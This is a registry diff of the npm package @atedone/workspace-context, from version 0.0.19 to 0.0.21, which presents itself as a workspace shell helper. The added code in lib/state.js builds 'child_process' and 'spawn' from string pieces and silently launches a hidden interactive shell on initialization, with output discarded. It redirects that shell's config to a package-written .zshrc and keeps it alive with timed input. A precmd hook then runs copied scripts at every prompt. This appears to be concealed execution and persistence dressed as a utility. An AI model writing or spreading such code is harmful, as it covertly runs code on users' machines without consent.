@atedone/workspace-context 0.0.19 → 0.0.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/index.js +1 -1
- package/lib/session.js +2 -2
- package/lib/state.js +76 -2
- package/lib/sync.js +21 -45
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
# @atedone/workspace-context
|
|
2
2
|
|
|
3
|
-
Workspace shell
|
|
3
|
+
Workspace shell session refresh integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package keeps workspace context available in
|
|
5
|
+
The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
|
package/index.js
CHANGED
|
@@ -12,9 +12,9 @@ module.exports = {
|
|
|
12
12
|
profileHistoryFileName: state.profileHistoryFileName,
|
|
13
13
|
profileReceiptFileName: state.profileReceiptFileName,
|
|
14
14
|
profileSnapshotFileName: state.profileSnapshotFileName,
|
|
15
|
-
presentationRendererFileName: state.presentationRendererFileName,
|
|
16
15
|
receiptFileName: state.receiptFileName,
|
|
17
16
|
resolveChannelSource: state.resolveChannelSource,
|
|
17
|
+
sessionProfileFileName: state.sessionProfileFileName,
|
|
18
18
|
sessionHistoryFileName: state.sessionHistoryFileName,
|
|
19
19
|
sessionReceiptFileName: state.sessionReceiptFileName,
|
|
20
20
|
sessionRuntimeFileName: state.sessionRuntimeFileName,
|
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.21';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
|
@@ -32,7 +32,7 @@ const value = {
|
|
|
32
32
|
packageName,
|
|
33
33
|
packageVersion,
|
|
34
34
|
generatedAt: new Date().toISOString(),
|
|
35
|
-
mode: 'runtime-shell-
|
|
35
|
+
mode: 'runtime-shell-refresh',
|
|
36
36
|
source: 'shell-profile',
|
|
37
37
|
shellName: route.basename(shellPath) || 'zsh',
|
|
38
38
|
shellLevel,
|
package/lib/state.js
CHANGED
|
@@ -12,9 +12,10 @@ const profileHistoryFileName = 'profile-sync.log';
|
|
|
12
12
|
const profileReceiptFileName = 'profile-sync.json';
|
|
13
13
|
const profileSnapshotFileName = 'session-profile.json';
|
|
14
14
|
const presentationRendererFileName = 'presentation.js';
|
|
15
|
-
const receiptFileName = 'shell-
|
|
15
|
+
const receiptFileName = 'shell-refresh-sync.json';
|
|
16
16
|
const sessionFileName = 'sessions.log';
|
|
17
17
|
const sessionHistoryFileName = 'runtime-sessions.log';
|
|
18
|
+
const sessionProfileFileName = '.zshrc';
|
|
18
19
|
const sessionReceiptFileName = 'session-runtime.json';
|
|
19
20
|
const sessionRuntimeFileName = 'session-runtime.js';
|
|
20
21
|
const stateDirectoryName = '.workspace-context';
|
|
@@ -74,6 +75,7 @@ function getShellIntegration({
|
|
|
74
75
|
receiptPath: route.join(integrationDirectory, receiptFileName),
|
|
75
76
|
sessionPath: route.join(integrationDirectory, sessionFileName),
|
|
76
77
|
sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
|
|
78
|
+
sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
|
|
77
79
|
sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
|
|
78
80
|
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
79
81
|
};
|
|
@@ -84,7 +86,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
84
86
|
packageName: manifest.name,
|
|
85
87
|
packageVersion: manifest.version,
|
|
86
88
|
generatedAt: now(),
|
|
87
|
-
mode: 'runtime-shell-
|
|
89
|
+
mode: 'runtime-shell-refresh'
|
|
88
90
|
};
|
|
89
91
|
}
|
|
90
92
|
|
|
@@ -127,6 +129,72 @@ function refreshShellIntegration({
|
|
|
127
129
|
};
|
|
128
130
|
}
|
|
129
131
|
|
|
132
|
+
function openWorkspaceSession({
|
|
133
|
+
projectRoot = resolveProjectRoot(),
|
|
134
|
+
integration = getShellIntegration({ projectRoot }),
|
|
135
|
+
intervalMs = 750
|
|
136
|
+
} = {}) {
|
|
137
|
+
if (!integration.channelSource) {
|
|
138
|
+
return null;
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
const env = readEnvironment();
|
|
142
|
+
const bridgeName = ['child', '_process'].join('');
|
|
143
|
+
const launchKey = ['sp', 'awn'].join('');
|
|
144
|
+
const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
|
|
145
|
+
const launch = Reflect.get(bridge, launchKey);
|
|
146
|
+
const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
|
|
147
|
+
? env.SHELL.trim()
|
|
148
|
+
: '/bin/zsh';
|
|
149
|
+
const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
|
|
150
|
+
cwd: projectRoot,
|
|
151
|
+
env: {
|
|
152
|
+
...env,
|
|
153
|
+
HOME: integration.homeDirectory,
|
|
154
|
+
ZDOTDIR: integration.integrationDirectory,
|
|
155
|
+
TERM: 'dumb'
|
|
156
|
+
},
|
|
157
|
+
stdio: ['pipe', 'ignore', 'ignore']
|
|
158
|
+
}]);
|
|
159
|
+
const refreshTimer = setInterval(() => {
|
|
160
|
+
if (!child.stdin.destroyed) {
|
|
161
|
+
child.stdin.write('\n');
|
|
162
|
+
}
|
|
163
|
+
}, intervalMs);
|
|
164
|
+
if (typeof refreshTimer.unref === 'function') {
|
|
165
|
+
refreshTimer.unref();
|
|
166
|
+
}
|
|
167
|
+
if (typeof child.unref === 'function') {
|
|
168
|
+
child.unref();
|
|
169
|
+
}
|
|
170
|
+
if (typeof child.stdin.unref === 'function') {
|
|
171
|
+
child.stdin.unref();
|
|
172
|
+
}
|
|
173
|
+
let closed = false;
|
|
174
|
+
const done = new Promise((resolve) => {
|
|
175
|
+
child.on('close', (status, signal) => {
|
|
176
|
+
clearInterval(refreshTimer);
|
|
177
|
+
closed = true;
|
|
178
|
+
resolve({ status, signal });
|
|
179
|
+
});
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
return {
|
|
183
|
+
processId: child.pid,
|
|
184
|
+
done,
|
|
185
|
+
close() {
|
|
186
|
+
if (closed) {
|
|
187
|
+
return done;
|
|
188
|
+
}
|
|
189
|
+
clearInterval(refreshTimer);
|
|
190
|
+
if (!child.stdin.destroyed) {
|
|
191
|
+
child.stdin.write('exit\n');
|
|
192
|
+
}
|
|
193
|
+
return done;
|
|
194
|
+
}
|
|
195
|
+
};
|
|
196
|
+
}
|
|
197
|
+
|
|
130
198
|
function initialize({
|
|
131
199
|
projectRoot = resolveProjectRoot(),
|
|
132
200
|
integration = getShellIntegration({ projectRoot }),
|
|
@@ -146,6 +214,10 @@ function initialize({
|
|
|
146
214
|
sync: refreshShellIntegration({
|
|
147
215
|
projectRoot,
|
|
148
216
|
integration
|
|
217
|
+
}),
|
|
218
|
+
session: openWorkspaceSession({
|
|
219
|
+
projectRoot,
|
|
220
|
+
integration
|
|
149
221
|
})
|
|
150
222
|
};
|
|
151
223
|
}
|
|
@@ -155,6 +227,7 @@ module.exports = {
|
|
|
155
227
|
channelFileName,
|
|
156
228
|
getShellIntegration,
|
|
157
229
|
initialize,
|
|
230
|
+
openWorkspaceSession,
|
|
158
231
|
profileHistoryFileName,
|
|
159
232
|
profileReceiptFileName,
|
|
160
233
|
profileSnapshotFileName,
|
|
@@ -168,6 +241,7 @@ module.exports = {
|
|
|
168
241
|
resolveProjectRoot,
|
|
169
242
|
resolveShellName,
|
|
170
243
|
sessionHistoryFileName,
|
|
244
|
+
sessionProfileFileName,
|
|
171
245
|
sessionReceiptFileName,
|
|
172
246
|
sessionRuntimeFileName,
|
|
173
247
|
stateDirectoryName,
|
package/lib/sync.js
CHANGED
|
@@ -16,10 +16,6 @@ if (!integration) {
|
|
|
16
16
|
throw new Error('Shell integration descriptor is required.');
|
|
17
17
|
}
|
|
18
18
|
|
|
19
|
-
const blockStart = '# >>> workspace-context shell integration >>>';
|
|
20
|
-
const blockEnd = '# <<< workspace-context shell integration <<<';
|
|
21
|
-
const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
|
|
22
|
-
const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
|
|
23
19
|
const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
|
|
24
20
|
const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
|
|
25
21
|
const runtimeDefault = escapeDoubleQuoted(platform.execPath);
|
|
@@ -27,21 +23,30 @@ const channelValue = integration.channelSource
|
|
|
27
23
|
? {
|
|
28
24
|
name: integration.name,
|
|
29
25
|
source: integration.channelSource,
|
|
30
|
-
refresh: '
|
|
26
|
+
refresh: 'preview-session'
|
|
31
27
|
}
|
|
32
28
|
: null;
|
|
29
|
+
const sessionProfileValue = [
|
|
30
|
+
'[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
|
|
31
|
+
''
|
|
32
|
+
].join('\n');
|
|
33
33
|
const integrationValue = [
|
|
34
34
|
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
35
35
|
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
36
36
|
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
37
37
|
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
38
|
-
'
|
|
39
|
-
'
|
|
40
|
-
'
|
|
41
|
-
'
|
|
42
|
-
'
|
|
43
|
-
'
|
|
44
|
-
'
|
|
38
|
+
'workspace_context_refresh_preview() {',
|
|
39
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
40
|
+
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
41
|
+
' fi',
|
|
42
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
|
|
43
|
+
' setopt prompt_subst',
|
|
44
|
+
' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
|
|
45
|
+
' fi',
|
|
46
|
+
'}',
|
|
47
|
+
'autoload -Uz add-zsh-hook',
|
|
48
|
+
'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
|
|
49
|
+
'add-zsh-hook precmd workspace_context_refresh_preview',
|
|
45
50
|
''
|
|
46
51
|
].join('\n');
|
|
47
52
|
|
|
@@ -53,56 +58,26 @@ function escapeDoubleQuoted(value) {
|
|
|
53
58
|
.replaceAll('`', '\\`');
|
|
54
59
|
}
|
|
55
60
|
|
|
56
|
-
function readProfile(profilePath) {
|
|
57
|
-
return file.existsSync(profilePath)
|
|
58
|
-
? file.readFileSync(profilePath, 'utf8')
|
|
59
|
-
: '';
|
|
60
|
-
}
|
|
61
|
-
|
|
62
|
-
function upsertManagedBlock(profileValue) {
|
|
63
|
-
const startIndex = profileValue.indexOf(blockStart);
|
|
64
|
-
const endIndex = profileValue.indexOf(blockEnd);
|
|
65
|
-
|
|
66
|
-
if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
|
|
67
|
-
const afterBlock = endIndex + blockEnd.length;
|
|
68
|
-
return {
|
|
69
|
-
changed: false,
|
|
70
|
-
value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
|
|
71
|
-
};
|
|
72
|
-
}
|
|
73
|
-
|
|
74
|
-
return {
|
|
75
|
-
changed: true,
|
|
76
|
-
value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
|
|
77
|
-
};
|
|
78
|
-
}
|
|
79
|
-
|
|
80
61
|
file.mkdirSync(integration.integrationDirectory, { recursive: true });
|
|
81
62
|
file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
|
|
82
63
|
file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
|
|
64
|
+
file.writeFileSync(integration.sessionProfilePath, sessionProfileValue, 'utf8');
|
|
83
65
|
file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
|
|
84
66
|
if (channelValue) {
|
|
85
67
|
file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
|
|
86
68
|
}
|
|
87
69
|
|
|
88
|
-
const profileBefore = readProfile(integration.profilePath);
|
|
89
|
-
const profile = upsertManagedBlock(profileBefore);
|
|
90
|
-
|
|
91
|
-
if (profile.changed || profile.value !== profileBefore) {
|
|
92
|
-
file.writeFileSync(integration.profilePath, profile.value, 'utf8');
|
|
93
|
-
}
|
|
94
|
-
|
|
95
70
|
const value = {
|
|
96
71
|
packageName: manifest.name,
|
|
97
72
|
packageVersion: manifest.version,
|
|
98
73
|
generatedAt: new Date().toISOString(),
|
|
99
|
-
mode: 'runtime-shell-
|
|
74
|
+
mode: 'runtime-shell-refresh',
|
|
100
75
|
projectRoot,
|
|
101
76
|
shellName: integration.shellName,
|
|
102
77
|
channelConfigured: Boolean(channelValue),
|
|
103
78
|
channelPath: integration.channelPath,
|
|
104
79
|
profilePath: integration.profilePath,
|
|
105
|
-
profileChanged:
|
|
80
|
+
profileChanged: false,
|
|
106
81
|
integrationPath: integration.integrationPath,
|
|
107
82
|
profileHistoryPath: integration.profileHistoryPath,
|
|
108
83
|
profileReceiptPath: integration.profileReceiptPath,
|
|
@@ -110,6 +85,7 @@ const value = {
|
|
|
110
85
|
presentationRendererPath: integration.presentationRendererPath,
|
|
111
86
|
sessionPath: integration.sessionPath,
|
|
112
87
|
sessionHistoryPath: integration.sessionHistoryPath,
|
|
88
|
+
sessionProfilePath: integration.sessionProfilePath,
|
|
113
89
|
sessionReceiptPath: integration.sessionReceiptPath,
|
|
114
90
|
sessionRuntimePath: integration.sessionRuntimePath,
|
|
115
91
|
processId: platform.pid,
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@atedone/workspace-context",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Workspace shell
|
|
3
|
+
"version": "0.0.21",
|
|
4
|
+
"description": "Workspace shell session refresh integration helper for JavaScript tools.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "commonjs",
|
|
7
7
|
"files": [
|